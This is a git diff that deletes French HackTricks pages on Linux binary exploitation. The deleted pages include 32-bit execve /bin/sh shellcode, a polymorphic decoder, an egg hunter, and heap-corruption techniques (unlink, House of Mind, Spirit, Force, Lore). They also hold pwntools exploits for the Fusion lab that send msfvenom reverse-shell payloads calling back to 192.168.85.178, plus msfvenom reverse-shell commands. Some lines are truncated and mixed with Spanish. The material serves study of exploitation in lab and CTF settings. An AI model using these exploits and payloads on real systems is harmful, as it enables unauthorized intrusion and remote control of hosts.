**2.SHELLCODE** - -Vérifiez les interruptions du noyau : cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” - -setreuid(0,0); // \_\_NR_setreuid 70\ -execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ -exit(0); // \_\_NR_exit 1 - -xor eax, eax ; nettoyons eax\ -xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer\ -mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Exécuter syscall - -**nasm -f elf assembly.asm** —> Nous renvoie un .o\ -**ld assembly.o -o shellcodeout** —> Nous donne un exécutable formé par le code assembleur et nous pouvons obtenir les opcodes avec **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Pour voir que c'est effectivement notre shellcode et obtenir les OpCodes - -**Vérifier que la shellcode fonctionne** -``` -char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” - -void main(){ -void (*fp) (void); -fp = (void *)shellcode; -fp(); -}​ -``` -Pour voir que les appels système se réalisent correctement, il faut compiler le programme précédent et les appels système doivent apparaître dans **strace ./PROGRAMA_COMPILADO**. - -Lors de la création de shellcodes, un truc peut être réalisé. La première instruction est un jump vers un call. Le call appelle le code original et met également l'EIP dans la pile. Après l'instruction call, nous avons mis la chaîne dont nous avions besoin, donc avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code. - -EJ **TRUC (/bin/sh)** : -``` -jmp 0x1f ; Salto al último call -popl %esi ; Guardamos en ese la dirección al string -movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) -xorl %eax, %eax ; eax = NULL -movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh -movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh -movl $0xb, %eax ; Syscall 11 -movl %esi, %ebx ; arg1=“/bin/sh” -leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} -leal 0xc(%esi), %edx ; arg3 = NULL -int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) -xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax -inc %eax ; Syscall 1 -int $0x80 ; exit(0) -call -0x24 ; Salto a la primera instrución -.string \”/bin/sh\” ; String a usar​ -``` -**EJ utilisant le Stack(/bin/sh):** -``` -section .text -global _start -_start: -xor eax, eax ;Limpieza -mov al, 0x46 ; Syscall 70 -xor ebx, ebx ; arg1 = 0 -xor ecx, ecx ; arg2 = 0 -int 0x80 ; setreuid(0,0) -xor eax, eax ; eax = 0 -push eax ; “\0” -push dword 0x68732f2f ; “//sh” -push dword 0x6e69622f; “/bin” -mov ebx, esp ; arg1 = “/bin//sh\0” -push eax ; Null -> args[1] -push ebx ; “/bin/sh\0” -> args[0] -mov ecx, esp ; arg2 = args[] -mov al, 0x0b ; Syscall 11 -int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) -``` -**EJ FNSTENV :** -``` -fabs -fnstenv [esp-0x0c] -pop eax ; Guarda el EIP en el que se ejecutó fabs -… -``` -**Egg Huter:** - -Consiste en un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode y étant stockée (cherche une signature placée dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code. - -**Shellcodes polimorphiques** - -Consistent en des shells chiffrées qui ont un petit code qui les déchiffre et y saute, utilisant le truc de Call-Pop ce serait un **exemple chiffré césar** : -``` -global _start -_start: -jmp short magic -init: -pop esi -xor ecx, ecx -mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) -desc: -sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) -sub cl, 1 -jnz desc -jmp short sc -magic: -call init -sc: -;Aquí va el shellcode -``` -## **5.Méthodes complémentaires** - -**Technique de Murat** - -En linux tous les programmes se mappent commençant à 0xbfffffff - -En observant comment la pile d'un nouveau processus est construite sous linux, on peut développer un exploit de manière à ce que le programme soit lancé dans un environnement dont la seule variable est la shellcode. L'adresse de celle-ci peut alors être calculée comme suit : addr = 0xbfffffff - 4 - strlen(NOM_exécutable_complet) - strlen(shellcode) - -De cette manière, on obtiendrait facilement l'adresse où se trouve la variable d'environnement avec la shellcode. - -Cela est possible grâce à la fonction execle qui permet de créer un environnement ne contenant que les variables d'environnement souhaitées. - -## - -### - -### - -### - -### - -### **Format Strings to Buffer Overflows** - -Le **sprintf moves** une chaîne formatée **à** une **variable.** Par conséquent, vous pourriez abuser du **formatage** d'une chaîne pour provoquer un **débordement de tampon dans la variable** où le contenu est copié.\ -Par exemple, le payload `%.44xAAAA` écrira **44B+"AAAA" dans la variable**, ce qui peut provoquer un débordement de tampon. - -### **\_\_atexit Structures** - -> [!CAUTION] -> De nos jours, il est très **bizarre d'exploiter cela**. - -**`atexit()`** est une fonction à laquelle **d'autres fonctions sont passées en paramètres.** Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** de la **main**.\ -Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour pointer vers une shellcode par exemple, vous **prenez le contrôle** du **processus**, mais cela est actuellement plus compliqué.\ -Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et finalement l'adresse à laquelle elles pointent n'est pas l'adresse des fonctions, mais est **chiffrée avec XOR** et des décalages avec une **clé aléatoire**. Donc, actuellement, ce vecteur d'attaque n'est **pas très utile, du moins sur x86** et **x64_86**.\ -La **fonction de chiffrement** est **`PTR_MANGLE`**. **D'autres architectures** telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas la fonction de chiffrement** car elle **retourne la même** que celle qu'elle a reçue en entrée. Donc, ces architectures seraient attaquables par ce vecteur. - -### **setjmp() & longjmp()** - -> [!CAUTION] -> De nos jours, il est très **bizarre d'exploiter cela**. - -**`Setjmp()`** permet de **sauvegarder** le **contexte** (les registres)\ -**`longjmp()`** permet de **restaurer** le **contexte**.\ -Les **registres sauvegardés** sont : `EBX, ESI, EDI, ESP, EIP, EBP`\ -Ce qui se passe, c'est que EIP et ESP sont passés par la fonction **`PTR_MANGLE`**, donc l'**architecture vulnérable à cette attaque est la même que ci-dessus**.\ -Ils sont utiles pour la récupération d'erreurs ou les interruptions.\ -Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, **donc s'il y a un `call ebx`, `call esi` ou `call edi`** à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier l'ESP. - -**VTable et VPTR en C++** - -Chaque classe a une **Vtable** qui est un tableau de **pointeurs vers des méthodes**. - -Chaque objet d'une **classe** a un **VPtr** qui est un **pointeur** vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si un **écrasement** du **VPtr** est réalisé, il pourrait être **modifié** pour **pointer** vers une méthode fictive afin qu'exécuter une fonction aille vers la shellcode. - -## **Mesures préventives et évasions** - -### - -**Remplacement de Libsafe** - -Se déclenche avec : LD_PRELOAD=/lib/libsafe.so.2\ -ou\ -“/lib/libsave.so.2” > /etc/ld.so.preload - -Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas standardisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, pas toutes les fonctions vulnérables ne deviennent sécurisées et LD_PRELOAD ne fonctionne pas sur des binaires avec suid). - -**ASCII Armored Address Space** - -Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne stoppe presque aucun attaque, et encore moins en little endian. - -**ret2plt** - -Consiste à réaliser un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction que l'on souhaite appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et on copie le 2ème octet de system()… À la fin, on appelle l'adresse sauvegardée dans la GOT qui sera system() - -**Cages avec chroot()** - -debootstrap -arch=i386 hardy /home/user —> Installe un système de base sous un sous-répertoire spécifique - -Un admin peut sortir de l'une de ces cages en faisant : mkdir foo; chroot foo; cd .. - -**Instrumentation de code** - -Valgrind —> Cherche des erreurs\ -Memcheck\ -RAD (Return Address Defender)\ -Insure++ - -## **8 Débordements de tas : Exploits de base** - -**Bloc alloué** - -prev_size |\ -size | —En-tête\ -\*mem | Données - -**Bloc libre** - -prev_size |\ -size |\ -\*fd | Ptr bloc suivant\ -\*bk | Ptr bloc précédent —En-tête\ -\*mem | Données - -Les blocs libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux blocs libres ensemble (ils se fusionnent) - -Dans “size”, il y a des bits pour indiquer : Si le bloc précédent est en usage, si le bloc a été alloué via mmap() et si le bloc appartient à l'arène primaire. - -Si en libérant un bloc, l'un des contigus est libre, ceux-ci se fusionnent via la macro unlink() et le nouveau bloc plus grand est passé à frontlink() pour qu'il insère le bin approprié. - -unlink(){\ -BK = P->bk; —> Le BK du nouveau chunk est celui que possédait celui qui était déjà libre avant\ -FD = P->fd; —> Le FD du nouveau chunk est celui que possédait celui qui était déjà libre avant\ -FD->bk = BK; —> Le BK du chunk suivant pointe vers le nouveau chunk\ -BK->fd = FD; —> Le FD du chunk précédent pointe vers le nouveau chunk\ -} - -Par conséquent, si nous parvenons à modifier le P->bk avec l'adresse d'une shellcode et le P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, on réussit : - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode - -Et ainsi, la shellcode s'exécute à la sortie du programme. - -De plus, la 4ème instruction de unlink() écrit quelque chose et la shellcode doit être réparée pour cela : - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Cela provoque l'écriture de 4 octets à partir du 8ème octet de la shellcode, donc la première instruction de la shellcode doit être un jmp pour sauter cela et tomber sur des nops qui mènent au reste de la shellcode. - -Par conséquent, l'exploit se crée : - -Dans le buffer1, nous mettons la shellcode en commençant par un jmp pour qu'elle tombe sur les nops ou sur le reste de la shellcode. - -Après la shellcode, nous mettons du remplissage jusqu'à atteindre le champ prev_size et size du bloc suivant. À ces endroits, nous mettons 0xfffffff0 (de manière à ce que le prev_size soit écrasé pour qu'il ait le bit indiquant qu'il est libre) et “-4“(0xfffffffc) dans le size (pour que lorsqu'il vérifie dans le 3ème bloc si le 2ème était libre, il aille au prev_size modifié qui lui dira qu'il est libre) -> Ainsi, lorsque free() enquêtera, il ira au size du 3ème mais en réalité ira au 2ème - 4 et pensera que le 2ème bloc est libre. Et alors il appellera **unlink()**. - -En appelant unlink(), il utilisera comme P->fd les premières données du 2ème bloc, donc là se mettra l'adresse que l'on veut écraser - 12 (car dans FD->bk, il ajoutera 12 à l'adresse sauvegardée dans FD). Et à cette adresse, il introduira la deuxième adresse qu'il trouvera dans le 2ème bloc, que nous voulons qu'elle soit l'adresse de la shellcode (P->bk faux). - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de remplissage** - -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** - -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** - -**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** - -**prev_size = pack("\ Retourne un pointeur vers l'adresse où commence le bloc (mem-8) - -… - -ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] - -… - -\_int_free(ar_ptr, mem); - -} - -Dans \[1], il vérifie le champ size le bit NON_MAIN_ARENA, qui peut être altéré pour que la vérification retourne true et exécute heap_for_ptr() qui fait un and à “mem” laissant à 0 les 2.5 bytes les moins significatifs (dans notre cas de 0x0804a000 laisse 0x08000000) et accède à 0x08000000->ar_ptr (comme s'il s'agissait d'une structure heap_info) - -De cette manière, si nous pouvons contrôler un bloc par exemple à 0x0804a000 et qu'un bloc doit être libéré à **0x081002a0**, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple **0x0804a000**. Lorsque ce deuxième bloc sera libéré, il constatera que heap_for_ptr(ptr)->ar_ptr retourne ce que nous avons écrit à 0x08100000 (puis le and est appliqué à 0x081002a0 et de là on obtient la valeur des 4 premiers octets, l'ar_ptr) - -De cette manière, on appelle \_int_free(ar_ptr, mem), c'est-à-dire, **\_int_free(0x0804a000, 0x081002a0)**\ -**\_int_free(mstate av, Void_t\* mem){**\ -…\ -bck = unsorted_chunks(av);\ -fwd = bck->fd;\ -p->bk = bck;\ -p->fd = fwd;\ -bck->fd = p;\ -fwd->bk = p; - -..} - -Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le bloc qui va être libéré. - -Tel que défini unsorted_chunks, nous savons que :\ -bck = \&av->bins\[2]-8;\ -fwd = bck->fd = \*(av->bins\[2]);\ -fwd->bk = \*(av->bins\[2] + 12) = p; - -Par conséquent, si dans av->bins\[2] nous écrivons la valeur de \_\_DTOR_END\_\_-12, dans la dernière instruction, l'adresse du deuxième bloc sera écrite dans \_\_DTOR_END\_\_. - -C'est-à-dire, dans le premier bloc, nous devons mettre au début plusieurs fois l'adresse de \_\_DTOR_END\_\_-12 car c'est de là qu'il obtiendra av->bins\[2] - -À l'adresse où tombera l'adresse du deuxième bloc avec les derniers 5 zéros, nous devons écrire l'adresse de ce premier bloc pour que heap_for_ptr() pense que l'ar_ptr est au début du premier bloc et en tire av->bins\[2] - -Dans le deuxième bloc et grâce au premier, nous écrasons le prev_size avec un jump 0x0c et le size avec quelque chose pour activer -> NON_MAIN_ARENA - -Ensuite, dans le bloc 2, nous mettons un tas de nops et enfin la shellcode - -De cette manière, on appellera \_int_free(TROZO1, TROZO2) et suivra les instructions pour écrire dans \_\_DTOR_END\_\_ l'adresse du prev_size du TROZO2 qui sautera à la shellcode. - -Pour appliquer cette technique, il faut que certains autres critères soient remplis, ce qui complique un peu plus le payload. - -Cette technique n'est plus applicable car un patch similaire à celui de unlink a été appliqué. On compare si le nouveau site vers lequel on pointe lui pointe également. - -**Fastbin** - -C'est une variante de The house of mind - -Nous voulons exécuter le code suivant auquel on accède après la première vérification de la fonction \_int_free() - -fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 - -… - -p->fd = \*fb - -\*fb = p - -De cette manière, si l'on met dans “fb” l'adresse d'une fonction dans la GOT, à cette adresse sera mise l'adresse du bloc écrasé. Pour cela, il sera nécessaire que l'arène soit proche des adresses de dtors. Plus précisément, que av->max_fast soit à l'adresse que nous allons écraser. - -Étant donné qu'avec The House of Mind, nous avons vu que nous contrôlions la position de av. - -Alors, si dans le champ size nous mettons une taille de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nous renverra fastbins\[-1], qui pointera vers av->max_fast - -Dans ce cas, av->max_fast sera l'adresse qui sera écrasée (non pas celle à laquelle elle pointe, mais cette position sera celle qui sera écrasée). - -De plus, il faut que le bloc contigu à celui libéré soit supérieur à 8 -> Étant donné que nous avons dit que la taille du bloc libéré est 8, dans ce bloc faux, nous devons simplement mettre une taille supérieure à 8 (comme de plus la shellcode ira dans le bloc libéré, il faudra mettre au début un jmp qui tombe sur des nops). - -De plus, ce même bloc faux doit être inférieur à av->system_mem. av->system_mem se trouve 1848 octets plus loin. - -À cause des nuls de \_DTOR_END\_ et des rares adresses dans la GOT, aucune adresse de ces sections ne peut être écrasée, voyons donc comment appliquer fastbin pour attaquer la pile. - -Une autre forme d'attaque consiste à rediriger le **av** vers la pile. - -Si nous modifions la taille pour qu'elle soit de 16 au lieu de 8, alors : fastbin_index() nous renverra fastbins\[0] et nous pouvons en profiter pour écraser la pile. - -Pour cela, il ne doit y avoir aucun canary ni valeurs étranges dans la pile, en fait, nous devons nous trouver dans celle-ci : 4bytes nuls + EBP + RET - -Les 4 octets nuls sont nécessaires pour que le **av** soit à cette adresse et le premier élément d'un **av** est le mutex qui doit valoir 0. - -Le **av->max_fast** sera l'EBP et sera une valeur qui nous servira à contourner les restrictions. - -Dans le **av->fastbins\[0]**, nous écraserons avec l'adresse de **p** et ce sera le RET, ainsi nous sauterons à la shellcode. - -De plus, dans **av->system_mem** (1484bytes au-dessus de la position dans la pile) il y aura beaucoup de déchets qui nous permettront de contourner la vérification qui est effectuée. - -De plus, il faut que le bloc contigu au libéré soit supérieur à 8 -> Étant donné que nous avons dit que la taille du bloc libéré est 16, dans ce bloc faux, nous devons simplement mettre une taille supérieure à 8 (comme de plus la shellcode ira dans le bloc libéré, il faudra mettre au début un jmp qui tombe sur des nops qui viennent après le champ size du nouveau bloc faux). - -**The House of Spirit** - -Dans ce cas, nous cherchons à avoir un pointeur vers un malloc qui peut être altérable par l'attaquant (par exemple, que le pointeur soit dans la pile sous un possible débordement d'une variable). - -Ainsi, nous pourrions faire en sorte que ce pointeur pointe où bon nous semble. Cependant, n'importe quel endroit n'est pas valide, la taille du bloc faussé doit être inférieure à av->max_fast et plus spécifiquement égale à la taille demandée dans un futur appel à malloc()+8. Par conséquent, si nous savons qu'après ce pointeur vulnérable, malloc(40) est appelé, la taille du bloc faux doit être égale à 48. - -Si par exemple le programme demandait à l'utilisateur un nombre, nous pourrions entrer 48 et pointer le pointeur de malloc modifiable vers les 4bytes suivants (qui pourraient appartenir à l'EBP avec chance, ainsi le 48 reste derrière, comme s'il s'agissait de l'en-tête size). De plus, l'adresse ptr-4+48 doit remplir plusieurs conditions (étant dans ce cas ptr=EBP), c'est-à-dire, 8 < ptr-4+48 < av->system_mem. - -Si cela est rempli, lorsque le prochain malloc que nous avons dit qui était malloc(40) sera appelé, il se verra attribuer comme adresse l'adresse de l'EBP. Si l'attaquant peut également contrôler ce qui est écrit dans ce malloc, il peut écraser à la fois l'EBP et l'EIP avec l'adresse qu'il souhaite. - -Je pense que c'est parce qu'ainsi, lorsque free() le libérera, il gardera à l'esprit qu'à l'adresse pointée par l'EBP de la pile, il y a un bloc de taille parfaite pour le nouveau malloc() que l'on souhaite réserver, donc il lui attribue cette adresse. - -**The House of Force** - -Il est nécessaire : - -- Un débordement à un bloc qui permet d'écraser le wilderness -- Un appel à malloc() avec la taille définie par l'utilisateur -- Un appel à malloc() dont les données peuvent être définies par l'utilisateur - -La première chose à faire est d'écraser la taille du bloc wilderness avec une valeur très grande (0xffffffff), ainsi toute demande de mémoire suffisamment grande sera traitée dans \_int_malloc() sans avoir besoin d'étendre le tas. - -La seconde est d'altérer av->top pour qu'il pointe vers une zone de mémoire sous le contrôle de l'attaquant, comme la pile. Dans av->top, on mettra \&EIP - 8. - -Nous devons écraser av->top pour qu'il pointe vers la zone de mémoire sous le contrôle de l'attaquant : - -victim = av->top; - -remainder = chunck_at_offset(victim, nb); - -av->top = remainder; - -Victim récupère la valeur de l'adresse du bloc wilderness actuel (l'actuel av->top) et remainder est exactement la somme de cette adresse plus la quantité de bytes demandés par malloc(). Donc si \&EIP-8 est à 0xbffff224 et av->top contient 0x080c2788, alors la quantité que nous devons réserver dans le malloc contrôlé pour que av->top pointe vers $EIP-8 pour le prochain malloc() sera : - -0xbffff224 - 0x080c2788 = 3086207644. - -Ainsi, la valeur altérée sera sauvegardée dans av->top et le prochain malloc pointera vers l'EIP et pourra l'écraser. - -Il est important de savoir que la taille du nouveau bloc wilderness soit plus grande que la demande faite par le dernier malloc(). C'est-à-dire, si le wilderness pointe vers \&EIP-8, la taille se retrouvera juste dans le champ EBP de la pile. - -**The House of Lore** - -**Corruption SmallBin** - -Les blocs libérés sont introduits dans le bin en fonction de leur taille. Mais avant de les introduire, ils sont conservés dans des bins non triés. Un bloc est libéré, il n'est pas immédiatement mis dans son bin mais reste dans des bins non triés. Ensuite, si un nouveau bloc est réservé et que l'ancien libéré peut lui servir, il le renvoie, mais si un plus grand est réservé, le bloc libéré dans les bins non triés est mis dans son bin approprié. - -Pour atteindre le code vulnérable, la demande de mémoire devra être supérieure à av->max_fast (72 normalement) et inférieure à MIN_LARGE_SIZE (512). - -Si dans les bins il y a un bloc de la taille adéquate à ce qui est demandé, celui-ci est renvoyé après avoir été désenlacé : - -bck = victim->bk; Pointe vers le bloc précédent, c'est la seule info que nous pouvons altérer. - -bin->bk = bck; L'avant-dernier bloc devient le dernier, si bck pointe vers la pile, le prochain bloc réservé se verra attribuer cette adresse - -bck->fd = bin; On ferme la liste en faisant pointer ce dernier vers bin - -Il est nécessaire : - -Que deux malloc soient réservés, de manière à ce que le premier puisse être débordé après que le second ait été libéré et introduit dans son bin (c'est-à-dire, qu'un malloc supérieur au second bloc ait été réservé avant de faire le débordement) - -Que le malloc réservé auquel l'adresse choisie par l'attaquant est contrôlée par l'attaquant. - -L'objectif est le suivant, si nous pouvons faire un débordement à un tas qui a en dessous un bloc déjà libéré et dans son bin, nous pouvons altérer son pointeur bk. Si nous altérons son pointeur bk et que ce bloc devient le premier de la liste de bin et est réservé, on trompera bin et on lui dira que le dernier bloc de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (vers la pile ou la GOT par exemple). Donc, si un autre bloc est à nouveau réservé et que l'attaquant a des permissions sur celui-ci, il se verra attribuer un bloc à la position souhaitée et pourra y écrire. - -Après avoir libéré le bloc modifié, il est nécessaire de réserver un bloc plus grand que celui libéré, ainsi le bloc modifié sortira des bins non triés et sera introduit dans son bin. - -Une fois dans son bin, c'est le moment de modifier son pointeur bk via le débordement pour qu'il pointe vers l'adresse que nous voulons écraser. - -Ainsi, le bin devra attendre son tour pour que malloc() soit appelé suffisamment de fois pour que le bin modifié soit réutilisé et trompe bin en lui faisant croire que le prochain bloc est à l'adresse fausse. Et ensuite, le bloc qui nous intéresse sera donné. - -Pour que la vulnérabilité s'exécute le plus tôt possible, l'idéal serait : Réservation du bloc vulnérable, réservation du bloc qui sera modifié, libération de ce bloc, réservation d'un bloc plus grand que celui qui sera modifié, modification du bloc (vulnérabilité), réservation d'un bloc de même taille que le vulnérable et réservation d'un second bloc de même taille et ce sera celui qui pointera vers l'adresse choisie. - -Pour protéger cette attaque, on utilise la vérification typique que le bloc “n'est pas” faux : on vérifie si bck->fd pointe vers victim. C'est-à-dire, dans notre cas, si le pointeur fd\* du bloc faux pointé dans la pile pointe vers victim. Pour contourner cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement par la pile) à l'adresse appropriée l'adresse de victim. Pour que cela semble un bloc vrai. - -**Corruption LargeBin** - -Les mêmes exigences que précédemment sont nécessaires, ainsi que quelques autres, de plus, les blocs réservés doivent être supérieurs à 512. - -L'attaque est comme la précédente, c'est-à-dire qu'il faut modifier le pointeur bk et qu'il faut toutes ces appels à malloc(), mais en plus, il faut modifier la taille du bloc modifié de manière à ce que cette taille - nb soit < MINSIZE. - -Par exemple, cela fera que mettre dans la taille 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car on compare un unsigned) - -De plus, un patch a été introduit pour rendre cela encore plus compliqué. - -**Heap Spraying** - -Cela consiste essentiellement à réserver toute la mémoire possible pour les tas et à remplir ceux-ci avec un matelas de nops suivi d'une shellcode. De plus, comme matelas, on utilise 0x0c. On essaiera de sauter à l'adresse 0x0c0c0c0c, et ainsi, si une adresse à laquelle on va appeler est écrasée avec ce matelas, on sautera là. Essentiellement, la tactique consiste à réserver le maximum possible pour voir si un pointeur est écrasé et sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là. - -**Heap Feng Shui** - -Consiste à semer la mémoire par le biais de réservations et de libérations de manière à ce que des blocs réservés se trouvent entre des blocs libres. Le buffer à déborder sera situé dans l'un des œufs. - -**objdump -d exécutable** —> Disas fonctions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Obtenir l'adresse de la fonction\ -**objdump -d -Mintel ./shellcodeout** —> Pour voir que c'est effectivement notre shellcode et obtenir les OpCodes\ -**objdump -t ./exec | grep varBss** —> Table des symboles, pour obtenir l'adresse des variables et des fonctions\ -**objdump -TR ./exec | grep exit(func lib)** —> Pour obtenir l'adresse des fonctions de bibliothèques (GOT)\ -**objdump -d ./exec | grep funcCode**\ -**objdump -s -j .dtors /exec**\ -**objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Obtient l'adresse de puts à écraser dans la GOT\ -**objdump -D ./exec** —> Disas TOUT jusqu'aux entrées de la plt\ -**objdump -p -/exec**\ -**Info functions strncmp —>** Info de la fonction dans gdb - -## Cours intéressants - -- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) -- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) - -## **Références** - -- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md deleted file mode 100644 index 9770f13c6..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ /dev/null @@ -1,60 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Level00 - -[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) - -1. Obtenez le décalage pour modifier EIP -2. Mettez l'adresse du shellcode dans EIP -```python -from pwn import * - -r = remote("192.168.85.181", 20000) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0xbffff440) # Stack address where the shellcode will be saved -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.recvline() -r.send(buf) -r.interactive() -``` -# Niveau01 -```python -from pwn import * - -r = remote("192.168.85.181", 20001) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0x08049f4f) # Adress of: JMP esp -buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode) -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.send(buf) -r.interactive() -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md deleted file mode 100644 index 4f6c05141..000000000 --- a/src/exploiting/tools/README.md +++ /dev/null @@ -1,210 +0,0 @@ -# Outils d'Exploitation - -{{#include ../../banners/hacktricks-training.md}} - -## Metasploit -``` -pattern_create.rb -l 3000 #Length -pattern_offset.rb -l 3000 -q 5f97d534 #Search offset -nasm_shell.rb -nasm> jmp esp #Get opcodes -msfelfscan -j esi /opt/fusion/bin/level01 -``` -### Shellcodes -``` -msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c -``` -## GDB - -### Installer -``` -apt-get install gdb -``` -### Paramètres -```bash --q # No show banner --x # Auto-execute GDB instructions from here --p # Attach to process -``` -### Instructions -```bash -run # Execute -start # Start and break in main -n/next/ni # Execute next instruction (no inside) -s/step/si # Execute next instruction -c/continue # Continue until next breakpoint -p system # Find the address of the system function -set $eip = 0x12345678 # Change value of $eip -help # Get help -quit # exit - -# Disassemble -disassemble main # Disassemble the function called main -disassemble 0x12345678 # Disassemble taht address -set disassembly-flavor intel # Use intel syntax -set follow-fork-mode child/parent # Follow child/parent process - -# Breakpoints -br func # Add breakpoint to function -br *func+23 -br *0x12345678 -del # Delete that number of breakpoint -watch EXPRESSION # Break if the value changes - -# info -info functions --> Info abount functions -info functions func --> Info of the funtion -info registers --> Value of the registers -bt # Backtrace Stack -bt full # Detailed stack -print variable -print 0x87654321 - 0x12345678 # Caculate - -# x/examine -examine/ 